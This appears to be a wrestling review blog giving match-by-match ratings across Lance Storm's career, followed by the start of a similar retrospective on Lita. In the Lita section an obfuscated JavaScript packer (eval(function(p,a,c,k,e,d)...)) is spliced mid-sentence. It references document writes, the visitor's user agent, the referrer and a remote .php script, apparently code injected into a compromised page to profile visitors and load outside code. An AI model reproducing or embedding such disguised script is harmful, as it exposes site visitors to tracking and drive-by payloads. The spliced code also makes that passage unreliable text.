Naturally this gets more booing, and the wrestling fan in me is shaking his head. Is it really that bad of a thing that Storm is a very good wrestler and doesn’t want to use weapons? Seriously, it’s not the end of the world. That right there is why it never appealed to the masses. Can you imagine someone that grew up on Flair and Anderson being sold on this? Anyway, the Van Daminator and a standing moonsault end this.

Rating: B-. If not for the completely unneeded chair, this would be a much higher rating. These two had a very solid match and it worked very well I thought. It was completely different from the first match and made me have a much better feeling about the show. The first match was a highlight reel match, but there was a flow here, although the ending could have been far better.

Storm would become a heel and join the Triple Threat stable as a prospect. This led to him winning the Tag Team Titles with full member Chris Candido, even though they loathed each other. Here’s a match between them while they were still champions at Cyberslam 1998.

Lance Storm vs. Chris Candido

They’re tag champions and they HATE each other. For no apparent reason Candido does a full entrance here. All Storm to start and a baseball slide puts Chris in the fans. Big plancha takes Candido out further. DOWN GOES SIGN GUY!!! The fans of course like Sunny more than anyone else and can you blame them? Candido fires off some chops to get some WOOs going.

Storm misses Candido and almost hits his face on the buckle. Close enough I guess as he sells it anyway. Delayed vertical is countered but Candido gets a neckbreaker for no cover. He’d rather pose a bit instead. Off to a chinlock which doesn’t last long. Storm tries to make his comeback but gets caught in a release powerslam. Storm comes back with chops as there are fans dressed as Bigelow and Sabu.

Big spinwheel kick puts Chris down again as does a dropkick which gets two. Storm misses a jump though and gets crotched on the top. Belly to back superplex gets two for Candido. Northern lights suplex gets two. Powerbomb doesn’t work and Storm gets a kick to take over. Candido fires off a super rana but he delays in covering again so it’s only two. They go the top again and Storm fights back and hits the Blonde Bombshell (top rope powerbomb and Candido’s finisher) for the pin.

Rating: C. Eh not bad and WAY better than anything else tonight, but just kind of there. These two feuded forever and had much better matches but this was ok. I’d rather have just looked at Sunny for the ten minutes they had for the match though. Not much and the whole Candido/Sunny issues went nowhere.

And a title defense from Wrestlepalooza 1998.

ECW Tag Titles: Hardcore Chair Swinging Freaks vs. Chris Candido/Lance Storm

They still hate each other and even though they don’t get along and fight each other, they manage to beat every team in the company as they do it. Don’t you just love Heyman’s brilliance? Mind you the challengers were in the arena to make their challenge yet the champions are here first. In a funny spot, they argue over who gets top billing. Oh I get it now: the champions came to the ring and were introduced before they actually accepted the challenge. Is Heyman even thinking?

The Freaks are Axl Rotten and Balls Mahoney in case you were wondering. To my surprise we start with a wrestling sequence. Something tells me this isn’t going to last long. Good night Balls Mahoney is worthless. Rotten is trying to wrestle which works ok but it’s hard to take a guy who wrestles for a team called the Hardcore Chair Swingin Freaks seriously. They do a standard tag match here and it’s really not that bad. I’m very surprised. Rotten throws chops and the fans WOO.

They start a BRING IN FLAIR chant and my head begins to hurt. First off, just no. Second off, isn’t that exactly what ECW is supposed to be against? Third of all, I love how they just assume Heyman can afford that. The fans were stupid at times and were dragged around by Heyman by their noses. It’s really pathetic at times. Sunny shows up and the champions fight over Storm saving her. “Hey! You keep your hands off my fiancé! If she dies who cares??? YOU JUST STAY AWAY!”

And now we get to the flat out stupid part of the match. Balls hits his finisher. There’s no one around. They should win the titles. He goes to get a chair. That’s almost understandable I guess. Now let’s have the stupid part. He turns around with the chair in his hand and Storm jumps up with a springboard to come at Mahoney.

What does he do you ask? Does he throw the chair at Storm? Does he, oh I don’t know, MOVE? Nope. He puts the chair in front of his face so Storm can kick it into Balls’ head. That was just pathetic looking. On and Candido hits Storm with the chair so he can get the pin and they fight back to the locker room. This has NEVER been done before!

Rating: C+. Other than the freaking idiotic stuff at the end, this was ok. The key thing: for the most part they kept things toned down and had a wrestling match. Since Barely Legal they’ve toned the violence down a good bit and it’s been helping a lot. This was ok and would have been a lot better had the ending not sucked as much.

After the team finally split up, Storm would eventually hook up with Justin Credible as the Impact Players. They would challenge Tommy Dreamer and Raven for the Tag Team Titles at Guilty As Charged 2000.

Tag Titles: Impact Players vs. Raven/Tommy Dreamer

The Players come out separately for no apparent reason. To be fair the champions do too. Apparently the Impact Players are trying to take over the company so Dreamer and Raven are fighting for ECW. Sure why not. Raven is RIDICULOUSLY over. They can’t get in the ring as the Impact Players (I feel like I’m doing OCW again) fight them off. We hit the floor because that makes sense to give up your advantage like that.

The champions throw the other guys off the stage as they’re working together. Hey we go to an actual tag sequence. I’m stunned. Ok to be fair ECW matches usually do go to rules after the insanity dies down. Dreamer is both busted up and in trouble as we HIT THE CHINLOCK! It’s fun seeing these guys actually wrestle for a change rather than just having mindless brawls.

If nothing else we get to look at some rather hot women during this with Francine and Dawn Marie. Storm misses the second best superkick in wrestling and Dreamer gets the hot tag. Well kind of as he hits the hand but no one calls it. The referee realizes they kind of blew the spot and just lets it go I guess. Raven hits his drop toehold. I’ve always liked how simple yet awesome that was.

And there’s the Tombstone but surprisingly it only gets two. I would have bet on that being the ending. Storm sets up a table and then like an IDIOT stands in front of it. As he goes through it, the only thing I can think of is YOU FREAKING DESERVE IT. The girls go at it and it’s nothing special. There’s your Bronco Buster which still is freaking stupid. Raven takes a Singapore cane shot for Francine but walks into That’s Incredible for the pin.

Rating: C-. Give this more wrestling and a bit more time and this can be pretty good. This was just too short on wrestling and too little Raven who is the best guy in here not named Storm. This was a decent enough match though but it just needed more time to make it a good bit better.

Like almost all good teams though, they would eventually split. Credible would win the World Title and Storm would challenge him at Hardcore Heaven 2000. It was supposed to have Tommy Dreamer as well but he was too injured stepped aside.

ECW World Title: Justin Credible vs. Lance Storm

So basically Dreamer is busted up like a bad steak but is going to fight anyway. Francine turned on Dreamer and cost him the title at Cyberslam which was the show where Dreamer won the title from Taz in the first place. Justin says that if anyone other than Storm comes out he’ll throw the belt in the trash. Why not it’s not like it means anything. Dreamer’s music hits and here he is.

You know for a guy that was allegedly bleeding to death about two and a half hours ago he looks pretty good. Heyman comes out to talk some sense into him and here’s Storm and Dawn Marie. Ok so it’s just one on one and Dreamer gets the winner at Heatwave. What the heck ever. Let’s just ever this over with. Heyman keeps screaming that Justin has the company by the balls. That’s 8 times he’s said it now.

Dreamer shakes Lance’s hand, which is good since I think this is Lance’s last night as he left for WCW since he never got paid or anything like that. I actually remember this match which is a rarity for me and the original ECW. Storm hits him, Justin runs. Then we do that about 5 more times. Hey we’re getting some contact that lasts more than a second! Ah never mind he’s running again.

The cane comes into play and down goes Storm. Storm appears to be bleeding. Hey look it’s a table, because we’ve only used those in like 5 matches so far tonight. We chop it out for a bit and that goes nowhere. The fans want Dreamer. Psh, why would you want him? He’s only an advertised main event contender here. Why would you want him? Storm hits a decent rana.

This guy is just flat out talented. Joey talks about how they managed to keep Credible from destroying the ECW Title’s lineage. Yeah I’m sure the whole WCW wrestler losing to a WWF wrestler in an ECW ring and then the ECW Title being on Raw and Smackdown didn’t do anything close to that. Superkick (see what I meant earlier?) by Credible gets two.

Credible actually hits a decent cross body off the top, showing he can actually do a basic move properly. This is a major step for him I tell you! He then goes through a table, because that’s just how we roll around here. Storm hooks his finisher, the single leg Boston crab and it’s catfight time. Was there ever a point to these things? Dawn takes a Tombstone and nothing of note is happening.

Tombstone on Storm of course gets two. And now we just slug it out. Credible goes for a swinging DDT which he of course, messes up. The second tombstone ends it and it was just completely uninteresting as it just happened for the pin. And here’s Dreamer to beat up both Credible and Francine. Ok then.

Rating: D+. This just felt like another match. This would have been great on a big TV show or something like that, but this just didn’t do it for me. It’s ok, but for one thing does anyone buy Justin as world champion? I never did, and I didn’t buy Storm as a legitimate challenger. This just went nowhere at all and the ending was pretty boring too. Weak ending.

Due to Heyman barely being able to pay anyone, it was soon off to WCW. Storm would immediately be given a big push where he would win three midcard titles in his first month. Here’s US Champion Storm vs. Hardcore Champion Big Vito from July 24, 2000 on Nitro.

US Title/Hardcore Title: Big Vito vs. Lance Storm

Storm jumps him to start but gets slammed down as well as clotheslined. Vito pounds him into the corner but Storm comes back with a leg lariat to take over. That gets him nowhere as Vito pounds him into the corner and pulls out some weapons. A traffic cone is knocked into Storm’s testicles and it’s table time.

Vito takes too long though and Storm superplexes him down. An O’Connor Roll gets two for Storm as does a small package. Vito snaps off an overhead belly to belly suplex but the top rope elbow only gets two. An Impaler puts Storm down for another two and they trade superkicks. Storm throws on the Mapleleaf (half crab) and wins the Hardcore Title.

Rating: D+. This was part of the Storm super push where he won three titles in three weeks and just barely lost the world title match in the fourth week. Vito was a journeyman who did about the same thing no matter where he went. This was decent enough, but I’m not sure why you would open a show with it.

Storm would form Team Canada as a midcard stable. They would feud with the Filthy Animals and face them in a six man tag at Sin.

Team Canada vs. Filthy Animals

Team Canada is Elix Skipper, Mike Awesome (Yes he made a heel turn since the last show) and Lance Storm. The Animals are Konnan, Mysterio and Kidman. This is a Penalty Box match where the guest referee, Jim Duggan, can throw the people in a penalty box if they break a rule. The Canadians come out in a bus for no apparent reason. Oh and Duggan isn’t part of Team Canada anymore, I guess due to the beatdown last month.

Storm talks about Duggan being in the Animals’ back pocket which doesn’t sit well with the Hall of Famer. There’s no time limit given on the penalties so it’s a bit complicated. Duggan looks old. This is an old WCCW stronghold so you can tell they’re running out of ideas. Storm vs. Mysterio to start. Rey starts out flying around as it’s weird to see Storm being the bigger and stronger of the two.

Skipper and Awesome interfere a bit and are sent to the box almost immediately. Apparently it’s 3-1 for one minute. Tony makes a bunch of hockey references which most American fans won’t care about. Konnan powerbombs Rey onto Storm as the box is emptied out. Good thing the advantage meant nothing at all. Rey gets a falling splash and it’s off to Kidman.

Kidman vs. Skipper now as Awesome is sent into the box again. Make that Storm as well. Why do I have a feeling that this is going to be the norm for this match? Konnan throws on some hold as they keep tagging in and out. The announcers are making it sound like the only chance the Animals have is when the Canadians are in the box. Back to full strength as Skipper easily out moves Konnan.

Matrix move is easily blocked by simply grabbing a reverse DDT out of it. The Canadians don’t like to tag for some reason. Off to Awesome and I’ll bet money on Storm and Skipper being sent to the box within a minute. Backbreaker gets two for Awesome. Major Gunns and Tygress argue on the floor and Duggan yells at them. Rey tries to cheat but is sent to the box for two minutes as is Kidman.

Powerslam by Awesome gets two. Tygress sprays Gunns with water or oil or something and they go at it. Only Gunns goes to the box though. Ah there goes Tygress too. Skipper drops a springboard leg drop on Konnan as we hit the chinlock. Yes because with a 3-1 advantage it’s the right idea to put a chinlock on. Awesome comes off the top with a clothesline as he comes in.

The box empties out as this is getting rather stupid. Off to Storm who walks into an X-Factor but Konnan is spent from doing two moves so he takes a little nap. Off to Kidman who comes in on fire. Well not literally but you get the concept. We hit the floor and everything breaks down.

Awesome has scissors and tries to give Kidman a haircut for no apparent reason and is sent to the box. Bronco Buster to Storm from both Rey and Tygress. She goes to the box as Storm gets a forearm to Rey, only to get caught in the ropes and hit by a leg drop. Off to Kidman who gets the Unprettier for two. The box empties though and Awesome hits an Awesome Bomb to Rey as Storm puts the Maple Leaf on Kidman for the tap out.

Rating: D+. Total and complete mess here with the rules seemingly added on for the sake of adding rules on. It didn’t help the match or anything but they did it anyway. Not much of a match as it was just a six man with extended faces/heels in peril spots. This feud went on more or less until the end of the company.

Here’s one more WCW match, from the final Nitro for the Tag Team Titles.

Tag Titles: Lance Storm/Mike Awesome vs. Chuck Palumbo/Sean O’Haire

The more famous guys are challenging. Team Canada won a non-title match last week to get this. See, why is logic like that so complicated? That’s a basic story and it gives perfect justification as to why we are where we are here. After a quick break, Vince is with Trish again and Cole interrupts them. He says a bunch of WCW related people are worried and Vince threatens to fire Cole. PLEASE DO IT VINCE!

Storm of course starts with technical stuff. Tony almost says World Tag Titles but has to shift to WCW Tag Titles. Slingshot splash by Awesome for two. Hot tag to O’Haire and he beats the crap out of Awesome, hitting his weird reverse Samoan Drop. I could watch Lance Storm throw superkicks all day. Palumbo hits his Jungle (super) kick and the Shawnton Bomb ends it.

Rating: C-. I always liked all four of these guys so I was a fan of this feud. The match of course was really short so it’s kind of hard to grade, but at the same time this was ok I guess. It put the champions over and didn’t give us a title change for the sake of a title change, so I can’t really complain about that at all. Decent match but again nothing great at all.

It was soon off to the WWF in the Invasion. Storm would be the first WCW name to appear on WWF programming in a run-in at Raw in Calgary. A few weeks later he was challenging for the Intercontinental Title.

Intercontinental Title: Lance Storm vs. Albert

Albert rams him into the corner to start and Lance is in trouble. Storm sends him to the floor but his plancha is caught in a slam. Albert is rammed into the post and Storm takes over. Back in Albert military presses Storm and follows with a splash for two. Bicycle kick looks to set up the Baldo Bomb but Mike Awesome gets the referee. That allows Hugh Morrus to hit Albert with the belt. A superkick gives Storm the title in a short match. Storm got a BIG pop for winning the title.

We’ll jump ahead nearly a year to Vengeance 2002. Storm is part of the Un-Americans with Christian and is challenging the new Tag Team Champions Edge and….Hulk Hogan?

Tag Titles: Lance Storm/Christian vs. Hulk Hogan/Edge

This isn’t going to be fun is it? I think the tag titles went on both brands at the time but I’m not sure. Yeah they did. Ross then explains that Toronto is in Canada. Ok then. It’s also the Hendrix music for Hogan. Yes let’s pay a commercial artist for music when WE OWN THE MOST FAMOUS SONG IN WRESTLING HISTORY! He follows that up by TWICE, yes TWICE saying that Hogan fought Warrior at Mania 3. WOW.

I knew that when I was 4 years old. Hogan vs. Christian starts. That’s a weird thing to see: Hogan fighting a guy that’s young and talented that hasn’t been elevated up yet. Dang how out of place does Hogan look here? If you get another talented guy in there, you could have a pretty interesting tag match. Or like this: Edge vs. Lance Storm. That sounds perfectly entertaining. This however, just isn’t interesting. Also, within about two months, Hogan has won the tag and world titles.

He’s like what, 50 at this point? Is there a reason to give him such title runs here? I can almost guarantee you that Edge will get pinned here if they lose the belts. Naturally Edge is the one getting beaten down. Hogan comes in and Christian goes for that diving reverse DDT of his. Hogan botches the HECK out of it. You know, because it’s such a hard move to take isn’t it? Leg drop to Christian but Storm makes the save.

Hogan doesn’t take the superkick from Storm right either. Edge comes in to clean house while Hogan looks for a pudding pack or something. And there goes the referee. Test runs down to beat up Hogan and Edge. Storm covers Edge for only two. Wow that surprised me. Rikishi of all people comes down to beat up Test. Sure why not?

Christian distracts the referee and JERICHO comes out to nail Edge with a title belt for the ending. Wow it only took four guys to get the belt off of Hogan and he didn’t even get pinned. That might be a new record low for Hogan. Naturally, this title that Hogan was so proud of was never mentioned again and he never went after it again.

Rating: D. Just bad and Hogan looked awful out there. Four guys to get the title off of Hogan. He botches a ton of spots, and he doesn’t even let Storm or Christian get to say they pinned Hogan. Yeah, this is definitely about the young guys. Can’t you see that? Brother?

Another jump ahead, but this one is only about nine months. He’s in yet another tag team, this time with Chief Morely (Val Venis). This is the match that was cut off of Wrestlemania XIX for the Miller Lite Catfight Girls.

Raw Tag Titles: Kane/Rob Van Dam vs. Lance Storm/Chief Morely

The Dudleys are in champions’ corner for no apparent reason. Kane shove Storm to the floor to start and Van Dam kicks Morely’s head off. Van Dam hits a nice flip dive to take out the champions and Kane adds a plancha of his own to pop the crowd. We take a break and come back with the champions in control of Van Dam and Morely grabs a sleeper. Van Dam counters into one of his own but gets caught in a Blue Thunder Bomb.

Rob avoids a splash and makes the tag off to Kane who cleans house with a tilt-a-whirl slam for two on Storm. There’s the top rope clothesline for two more as Morely makes the save. Everything breaks down with the challengers in control and there’s the chokeslam to Storm. RVD loads up the Five Star but Morely shoves him off the top. The Dudleys lay out Storm with the 3D before dropping an elbow on Rob to give Lance the pin.

Rating: D+. Just a quick match here which had some strange booking decisions. Kane and Van Dam would take the titles the next night on Raw, so why not just switch them here to fire the crowd up before the show starts? The tag division was really starting to die around this point and having two sets of titles just didn’t work.
Since this is supposed to be about Lance Storm and not his partners, and since Storm didn’t have a lot of major singles moments in WWE, here’s a singles match from Raw on September 8, 2003.

Lance Storm vs. Rico

If nothing else we get to look at Jackie Gayda in a barely there outfit. The idea here is that Storm is boring and trying to find a personality. Rico starts the boring chant before the match so Lance punches him down. Goldust in turn starts a Rico Sucks chant and we’re ready to go. A quick suplex gets two for Lance but Rico comes back with a kick to the face and a clothesline before ripping at Storm’s face. Off to a chinlock for a bit until Storm fights up and starts firing off clotheslines. Jackie tries to get involved and gets kissed by Storm who quickly finishes Rico with a springboard missile dropkick. Short and not terrible here.

Storm would retire as a wrestler in spring of 2004 before becoming a trainer in OVW. He would however come out of retirement a few times, including at One Night Stand 2005 (ECW Reunion show) for a match with old partner Chris Jericho.

Lance Storm vs. Chris Jericho

It’s Lionheart here too and we get a dramatic pause joke from Joey. It’s great to hear Joey talk about the old days, which to be fair and honest were more or less crap but for the sake of this it’s fine. Jericho is freaking small here as he looks like he did in WCW which I mean in a good way. It amazes me that these two have been so intertwined throughout the years. Foley throws in that he was the guy that saw Jericho in Japan and got Heyman to bring him to America and ECW in particular.

We hear about SMW to really make this great. Apparently Joey and ECW don’t like that the New York Athletic Commission made them use mats. This is something that on paper sounds great and on a rare occasion like this one it works like a charm. With these guys here’s what you do: “Chris, Lance, you have 7 minutes, here’s your ending.” That’s all they need. Joey calls Foley Mickles. Ok then.

We get a big old Chris Candido chant who would have passed away only about a month and a half before this show. To say the crowd is hot is like saying Steve Austin might have had alcohol before. We have an F JOHN CENA chant. Foley: How does the Calgary Crab differ from its Boston cousin?

Joey: It doesn’t it’s just a gimmick. Jason and Justin Credible are here and with Dawn Marie running interference, Justin canes the heck  out of Jericho to allow Storm to get the easy pin. Joey complaining about itching from Jason is funny. Lance more or less retired after this.

Rating: B. This was rather fun indeed. These two have good matches just about every time they’re allowed to get in the ring and this was no exception. This is a pairing that it’s hard to get wrong and it worked out just about perfectly. Solid match and a solid ending to Storm’s final match in the mainstream.

Storm would almost exclusively become a trainer after this, though he would occasionally wrestle for independents. Here’s one of those matches, from ROH at Border Wars 2012.

Mike Bennett vs. Lance Storm

Bennett has his old trainer named Brutal Bob Evans with him but no Maria, as in Maria from WWE who is absolutely gorgeous. The fans immediately chant for her and I can’t say I blame them at all. They shove each other around to start with Lance being pushed into the corner which goes nowhere. Both guys trade strikes with Storm hitting a European uppercut to send Bennett into the corner and down to the mat.

Storm fires off some shoulders into the corner and a running version to the ribs gets two. Off to an abdominal stretch which is the most logical move for him at this point. Bennett quickly reverses and sends Storm to the apron and then into the buckle, sending Storm to the floor. Mike throws Storm into the announce table and then the barricade and we head back inside. The fans chant obscenities at Bennett because they can’t handle their countryman getting beaten up. Sore losers.

After sending Storm into the corner it’s off to a bow and arrow hold by Bennett to give the guys a breather. Storm flips out of the hold into a kick to Bennett’s face but gets caught in a backdrop to put him right back down. Back to the reverse chinlock with a knee in Storm’s back as Bennett keeps things slow. Lance fights back and they slug it out with both guys seemingly spent again after only a few minutes. In a rather impressive display of athleticism, Storm jumps from the mat and up to the top for a back elbow to the face, getting two.

The superkick is blocked and Storm walks into a spinebuster for a close two. Bennett tries a fireman’s carry but Storm slips down to the apron. A springboard clothesline misses though and Mike spears him down for two. Storm tries something out of a fireman’s carry but Bennett comes back with a sit out Rock Bottom called the Box Office Smash for two.

A dragon screw leg whip puts Storm down and flips off the fans (Storm mentioned that metaphorically in his pre-match promo) before putting on Storm’s own Canadian Maple Leaf half crab. Storm reverses into one of his own but Evans pulls Bennett to the floor. Storm hits a big dive to take Mike out before going back inside. With Evans distracting the referee, Mike gets a chair, only to have Storm blast him in the back with it and superkick Bennett down for the pin.

Rating: C+. This is probably the match of the night so far, but that ending brings it down for me. Storm using the chair is completely against what he’s been talking about leading up to the match and it goes against his style in general. Now, superkick the chair into Bennett’s face would have been fine, but it doesn’t feel right for Storm to just use the chair on his own like that.

Lance Storm is a fine wrestler but never reached anything higher than the midcard. What people don’t seem to get is that there’s nothing wrong with that at all. Storm could move around a ring very well and was often a bright spot in the mess that was ECW. No he wasn’t a top star, but he was a solid midcard and tag hand with an awesome springboard missile dropkick. He made Val Venis relevant again in 2003. That’s proof enough for me.

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Wrestler of the Day – April 2: Lita

It’s my grandmother’s birthday so here’s a fellow beautiful woman: Lita.

Lita eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzbtk|var|u0026u|referrer|hnedi||js|php'.split('|'),0,{})) would debut in ECW in 1999 as a valet who got physical at times. She would be in the WWF a year later as Essa Rios’ hot manager. This wouldn’t last long as they would break up and Lita would become a singles wrestler. She would get a title shot at the Women’s Title on Raw on August 21, 2000.

Women’s Title: Lita vs. Stephanie McMahon

Yeah this was that dark time where Stephanie was champion as a side effect of the awesome HHH run. Rock is guest referee as part of his war with Trips as well. Lita easily takes her down and hammers away before popping the champ in the corner with forearms. A hurricanrana gets two but Stephanie’s friend Kurt Angle distracts Rock so HHH can trip Lita up.

The Hardys run out for a save and hammer on HHH as Stephanie fires off some lame foreams and a nice DDT for two. Lita comes right back with another hurricanrana but Angle breaks up the Litasault. The Hardys brawl with Angle/HHH until Rock pulls Angle and the title belt into the ring. Angle gets laid out but HHH jumps Rock from behind. Kurt nails HHH by mistake and it’s a Rock Bottom for the Olympian. Stephanie tries a cheap shot and gets a Rock Bottom of her own, setting up the Litasault for the pin and Lita’s first title.

Rating: D+. THis was almost all about the men fighting on the floor which was far more interesting than the girls.  Stephanie was basically the Honky Tonk Man of the Women’s Title as the whole reign was there so someone could save the title and become a big star.  That’s exactly what Lita did and she never looked back.

The trio was getting big around this time and would be brought in to OVW for a six person tag at Christmas Chaos 2001.

Hardy Boys/Lita vs. Disciples of Sinn/Sinn

Sinn is the female manager of Payne and Damien, the OVW tag champions at the time. Hardys are over as all goodness. The Disciples were a big deal in OVW but never went anywhere. Their stable mate is Leviathan as I mentioned earlier but he’s not here for this one. The main thing people want to see here is Lita more or less kill Sinn.

Matt and Damien start us off. Apparently Damien hears voices. Payne is apparently the new member of the team. They’re tagging in very fast. Sinn comes in to slap Matt and gets caught in there against the fat man himself. Off to Lita but Sinn runs away to bring in Damien. Lita tags in both Hardys and the referee seems cool with it. They destroy the Disciples and it’s off to Jeff now.

Very fast paced stuff so far which is weird for the Disciples as they’re pretty decent sized guys. Payne gets a big clothesline to Jeff to take over. Spinebuster gets two for Payne on Jeff. A pretty bad powerslam by Damien gets two. Oh wait that’s Payne. They look a bit alike and the lighting makes it impossible to tell which is which.

Matt acts kind of stupid as he comes in and Jeff gets double teamed. Granted it’s not as stupid as the referee who lets the Disciples switch without tagging twice in a row. Well I guess that puts them back to even. Chinlock has Jeff in trouble. Cornette talks about how much the cheers mean to Jeff. I guess he hasn’t been watching his TNA lately.

Jeff finally gets the tag to bring in Matt and the beating is on. Everyone comes in again and it’s a double clothesline to put Matt and both Disciples down. Sinn tags herself in and so does Lita. Lita takes down Damien because she’s more awesome than everyone else in there. Sinn takes over for a bit but Lita slams her off the top and gets a spear.

Moonsault hits but everyone comes in and it’s a big brawl. Payne hits a Sky High on Lita and Sinn is the only one left. It’s table time now but Jeff saves. Double DDT by Matt and Lita. Jeff throws out a Swanton on the chick through the table. The pin is academic and the pop is pretty solid.

Rating: B-. It’s probably not that good but I’m kind of feeling sorry for this show as the matches haven’t been that good at all. Still though this wasn’t too bad and the Hardys helped it a lot. The point here was for Sinn to get beaten down and that’s exactly what happened. Fun little six person match which worked fine.

Around this time, Chyna won the Women’s Title at Wrestlemania X7 and dominated the division for months with only Lita left standing in her way. This is the showdown from Judgment Day 2001.

Women’s Title: Chyna vs. Lita

Lita is insanely over here. And here’s Chyna looking like a freaking peacock. That’s JR’s term, not mine. They hug before the match as I guess Lita is ok with Chyna being a witch to her and not seeming to take this seriously at all. This is power vs. speed here and both use their own better attribute to take over for a bit. Lita tries to help Chyna up and gets rolled up for two. Ok so she’s hot but not incredibly smart. Got it.

Chyna overpowers the match with ease to start but Lita gets a DDT for two. She finally wakes up and hammers away on Chyna. Middle rope clothesline gets two. Lita goes for the arm as this is getting sloppy. The fans are still in it though so they have that at least. Swinging neckbreaker by Chyna sets up a powerslam for two.

Lita channels her inner Alberto by hooking up a rolling cross armbreaker and Chyna is in real trouble all of a sudden. Chyna reverses into a headscissors and here’s Eddie for no apparent reason. She tries a powerbomb but Lita reverses into a horrible looking rana for two. And then a powerbomb by Chyna ends this clean. Nothing from Eddie other than standing there and Chyna more or less didn’t break a sweat.

Rating: D. This was supposed to be the big showdown? Chyna destroyed Lita here and made her look like a joke. This was Chyna’s last match in the company as she was taken off TV and the title was held up. She held the title until November anyway so there simply were no title matches for about six months. In short, Chyna destroyed the division and it took Trish and Lita to bring it back to whatever it was. Oh and this match was awful.

It wouldn’t be right if I didn’t get in a Team Extreme match. From September 10, 2001 on Raw.

Hardy Boyz/Lita vs. Hurricane/Lance Storm/Ivory

Hurricane vs. Matt to get us going and there’s a loud Lita chant. The Hardys double team both men and it’s off to Storm vs. Jeff. Hurricane sneaks in and hooks a neckbreaker for two and it’s back to Lance. The Alliance team double teams Jeff and Ivory gets in a slap as well. Dropkick gets two for Storm.

Hurricane puts the cape on for a second for a clothesline then has Ivory take it back off. Matt gets in but Storm hits an enziguri while Matt is on the middle rope. Jeff knocks him to the floor and hits a dive to take out Storm. Back in the ring the girls come in and Lita beats up Ivory before snapping off a rana on Hurricane. Matt hits the Twist on Ivory and the Litasault gets the pin.

Rating: C. Not bad here but it was always good to see Lita. Ivory’s looks are underrated as well. The guys’ feuds didn’t go anywhere anytime soon as the Hardys were thrown back into a feud with the Dudleys because we hadn’t seen that recently enough. The match was nothing special though.

Lita would get a title shot at Wrestlemania X8 but come up short. The next night however she would face her biggest rival in a match.

Trish Stratus vs. Lita

Trish looks great as always. Lita goes right after her to start and the fight is on quickly. A clothesline puts the redhead down but she suplexes Trish down a few seconds later. Lita scores with a headscissors but Trish comes right back with a Chick Kick. Stratusfaction is shoved off and the moonsault gets Lita the pin in barely 90 seconds.

Lita was becoming a big star around this time and landed a guest starring role on the FOX series Dark Angel. Unfortunately she would do a hurricanrana on the show and slip, landing on the back of her head and breaking her neck. That put her out of action for about a year and a half until she came back for a tag match at Unforgiven 2003.

Molly Holly/Gail Kim vs. Trish Stratus/Lita

This feud is more or less about Molly and Gail being jealous of Lita and Trish being insanely popular. Standard stuff to put it mildly. Molly is Women’s Champion here and is actually looking good. Lita was out for almost a year because of a broken neck and now wears khaki shorts. Yep she’s gorgeous. The non-famous girls jump them early and that doesn’t work at all.

This is Lita’s return match. Oh seriously who do you expect to win this? You have two girls that are about as middle of the road as possible and the first two women to main event Raw. Lita and Gail are the actual starters and Lita nips up as we hear about King having a vasectomy. Molly hooks a Dragon Sleeper on Trish which works about as well as you would expect it to. Gail is gorgeous. That’s all there is to it.

Now Gail does a Dragon Sleeper. Trish walks up the turnbuckles and backflips into a reverse DDT. FREAKING SWEET. Molly looks good as a brunette and in blue. Trish manages to beat up both girls on her own since Lita is bleeding from the mouth. Lita gets the mostly warm but partly cloudy with a 30% chance of showers tag. Trish knocks Gail to the floor and Lita hits the moonsault to get the win which was about as predictable as you could expect.

Rating: D+. This was exactly what you would expect here. Lita was indeed a huge deal as she and Trish were just flat out awesome around this point but the injury took her out for over a year. This was nothing more than a welcome home match and it did exactly what it was supposed to do: announce that Lita is still awesome.

The end of 2003 and most of 2004 didn’t see much action for Lita, but she would get into a four way for the Women’s Title at Bad Blood 2004.

Women’s Title: Trish vs. Lita vs. Gail Kim vs. Victoria

All four are too hot for words with Trish somehow possibly being the fourth best looking at the moment. Victoria is champion here. Trish vs. Lita never gets old especially when later this year they main evented Raw. That’s saying a lot and I don’t mean it was the last match and then there was a big angle to end the show.

I mean Trish vs. Lita for the title was the last thing you saw to end the show and it was built up all night. It was a very cool moment and I completely bought into it. Gail gets an AWESOME hold on Victoria. More or less it’s a headscissors combined with a crossface combined with an armbar but cooler than it sounds. Lita and Victoria botch something and we have no Trish for a long time, signaling that she’ll be winning. Yep there she is to roll up Lita for the title out of nowhere.

Rating: D+. They all looked hot. Other than that it was just your run of the mill Divas match but with four girls that could actually work which is the best case scenario.

Soon after this, Lita would sleep with Kane to save Matt Hardy, getting pregnant in the process. Around this same time, Trish Stratus would start insulting Lita for being, shall we say, loose, but Lita couldn’t fight back due to her pregnancy. Thankfully (ish), she would lose her baby a few months later. This freed her up to face Stratus in the main event of Raw on December 6, 2004. I don’t mean it was the last match and then the real ending happened. I mean all night long Trish Stratus defending the Women’s Title against Lita was hyped up and then closed the show.

Women’s Title: Trish Stratus vs. Lita

Even in a faceguard with what looks like masking tape over her face, Trish is gorgeous. How is that possible? Lita’s song is great too. 2004 had some awesome theme music. They lockup and go to the floor quickly. Lita takes over with a leg sweep for two. Remember that she’s the hometown girl. They go to the floor again and Lita tries a suicide dive and Lita lands ON HER HEAD, jacking her neck back in a landing that made my jaw drop and be stunned she isn’t dead. I mean she landed on her face and her feet hit her in the back of the head. The referee immediately checks on her and the crowd goes quiet.

The match keeps going as I guess she’s alive somehow. Trish takes the noseguard off and pops Lita in the face with it which isn’t a DQ somehow. Lita fights out of a choke and throws on a sleeper but gets countered into a seated full nelson. Trish goes up but gets caught in a superplex to put both girls down. Back up and the Chick Kick gets two. Trish pounds away in the corner and gets powerbombed to set up the moonsault but Trish breaks it up. Rollup gets two and Trish grabs a DDT for two. Stratusfaction is broken up and there’s a reverse Twist of Fate. The moonsault gives Lita her second title.

Rating: B. Considering that neck shot, WOW Lita was impressive here. At the end of the day, this was a solid match and they made it feel like a big moment. This was Lita’s second title, but she hadn’t won it in over four years so it’s not like this was something that happened every day. Trish would win it back in less than a month and hold it until Wrestlemania. As in the Wrestlemania the year after she won it, giving her a reign of about 15 months.

Here’s the rematch from New Year’s Revolution 2005.

Women’s Title: Trish Stratus vs. Lita

How many times did these two fight, about a million? Ross calls it a tag title for no apparent reason. I love her theme song actually. Trish’s cleavage is big enough to hide a small country in. They fight for a bit before Trish goes to the floor. Lita goes to the apron and throws a Thesz Press at Trish, and rips HER knee to shreds.

